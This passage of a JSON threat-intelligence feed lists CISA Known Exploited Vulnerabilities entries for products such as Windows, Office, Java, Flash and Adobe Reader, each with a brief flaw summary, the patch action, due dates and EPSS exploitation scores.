scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-26871","cveId":"CVE-2022-26871","aliases":[],"kind":"vulnerability","title":"Trend Micro Apex Central Arbitrary File Upload Vulnerability","summary":"An arbitrary file upload vulnerability in Trend Micro Apex Central could allow for remote code execution.","detail":"CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-31","updatedAt":null,"regions":["Global"],"vendor":"Trend Micro","product":"Apex Central","stacks":["Trend Micro","Apex Central"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-31","dueAt":"2022-04-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.19481,"percentile":0.97352,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-26871&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-26871","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-26871 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-26871&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-26871, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-4398","cveId":"CVE-2010-4398","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel Stack-Based Buffer Overflow Vulnerability","summary":"Stack-based buffer overflow in the RtlQueryRegistryValues function in win32k.sys in Microsoft Windows allows local users to gain privileges, and bypass the User Account Control (UAC) feature.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.08661,"percentile":0.9508,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-4398&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-4398","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-4398 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-4398&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-4398, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2011-2005","cveId":"CVE-2011-2005","aliases":[],"kind":"vulnerability","title":"Microsoft Ancillary Function Driver (afd.sys) Improper Input Validation Vulnerability","summary":"afd.sys in the Ancillary Function Driver in Microsoft Windows does not properly validate user-mode input passed to kernel mode, which allows local users to gain privileges via a crafted application.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Ancillary Function Driver (afd.sys)","stacks":["Microsoft","Ancillary Function Driver (afd.sys)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.31761,"percentile":0.98285,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2011-2005&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2011-2005","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2011-2005 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2011-2005&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2011-2005, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-0518","cveId":"CVE-2012-0518","aliases":[],"kind":"vulnerability","title":"Oracle Fusion Middleware Unspecified Vulnerability","summary":"Unspecified vulnerability in the Oracle Application Server Single Sign-On component in Oracle Fusion Middleware allows remote attackers to affect integrity via Unknown vectors","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Fusion Middleware","stacks":["Oracle","Fusion Middleware"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04685,"percentile":0.91719,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-0518&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-0518","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-0518 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-0518&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-0518, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-2034","cveId":"CVE-2012-2034","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Memory Corruption Vulnerability","summary":"Adobe Flash Player contains a memory corruption vulnerability that allows for remote code execution or denial-of-service (DoS).","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07713,"percentile":0.94573,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-2034&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-2034","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-2034 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-2034&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-2034, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-2539","cveId":"CVE-2012-2539","aliases":[],"kind":"vulnerability","title":"Microsoft Word Remote Code Execution Vulnerability","summary":"Microsoft Word allows attackers to execute remote code or cause a denial-of-service (DoS) via crafted RTF data.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Word","stacks":["Microsoft Office","Microsoft","Word"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.53033,"percentile":0.9897,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-2539&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-2539","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-2539 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-2539&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-2539, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-5076","cveId":"CVE-2012-5076","aliases":[],"kind":"vulnerability","title":"Oracle Java SE Sandbox Bypass Vulnerability","summary":"The default Java security properties configuration did not restrict access to the com.sun.org.glassfish.external and com.sun.org.glassfish.gmbal packages. An untrusted Java application or applet could use these flaws to bypass Java sandbox restrictions.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Java SE","stacks":["Oracle","Java","Java SE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9125,"percentile":0.99808,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-5076&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-5076","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-5076 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-5076&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-5076, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-1690","cveId":"CVE-2013-1690","aliases":[],"kind":"vulnerability","title":"Mozilla Firefox and Thunderbird Denial-of-Service Vulnerability","summary":"Mozilla Firefox and Thunderbird do not properly handle onreadystatechange events in conjunction with page reloading, which allows remote attackers to cause a denial-of-service (DoS) or possibly execute malicious code via a crafted web site.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Mozilla","product":"Firefox and Thunderbird","stacks":["Mozilla Firefox and Thunderbird","Mozilla","Firefox and Thunderbird"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.69021,"percentile":0.99347,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-1690&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-1690","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-1690 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-1690&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-1690, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-2465","cveId":"CVE-2013-2465","aliases":[],"kind":"vulnerability","title":"Oracle Java SE Unspecified Vulnerability","summary":"Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE allows remote attackers to affect confidentiality, integrity, and availability via Unknown vectors related to 2D","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Java SE","stacks":["Oracle","Java","Java SE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98773,"percentile":0.99926,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-2465&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-2465","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-2465 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-2465&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-2465, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-2551","cveId":"CVE-2013-2551","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Use-After-Free Vulnerability","summary":"Use-after-free vulnerability in Microsoft Internet Explorer allows remote attackers to execute remote code via a crafted web site that triggers access to a deleted object.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.73918,"percentile":0.99475,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-2551&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-2551","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-2551 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-2551&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-2551, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-2729","cveId":"CVE-2013-2729","aliases":[],"kind":"vulnerability","title":"Adobe Reader and Acrobat Arbitrary Integer Overflow Vulnerability","summary":"Integer overflow vulnerability in Adobe Reader and Acrobat allows attackers to execute remote code.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Reader and Acrobat","stacks":["Adobe Acrobat and Reader","Adobe","Reader and Acrobat"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.66555,"percentile":0.9928,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-2729&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-2729","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-2729 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-2729&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-2729, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-3660","cveId":"CVE-2013-3660","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"The EPATHOBJ::pprFlattenRec function in win32k.sys in the kernel-mode drivers in Microsoft does not properly initialize a pointer for the next object in a certain list, which allows local users to gain privileges.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.39318,"percentile":0.98595,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-3660&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-3660","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-3660 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-3660&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-3660, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-1770","cveId":"CVE-2015-1770","aliases":[],"kind":"vulnerability","title":"Microsoft Office Uninitialized Memory Use Vulnerability","summary":"Microsoft Office allows remote attackers to execute arbitrary code via a crafted Office document.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.34995,"percentile":0.98423,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-1770&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-1770","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-1770 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-1770&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-1770, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-2419","cveId":"CVE-2015-2419","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Memory Corruption Vulnerability","summary":"JScript in Microsoft Internet Explorer allows remote attackers to execute remote code or cause a denial of service (memory corruption) via a crafted web site.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.5298,"percentile":0.98969,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-2419&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-2419","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-2419 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-2419&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-2419, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-2426","cveId":"CVE-2015-2426","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Adobe Type Manager Library Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists in Microsoft Windows when the Windows Adobe Type Manager Library improperly handles specially crafted OpenType fonts.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.86576,"percentile":0.99736,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-2426&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry 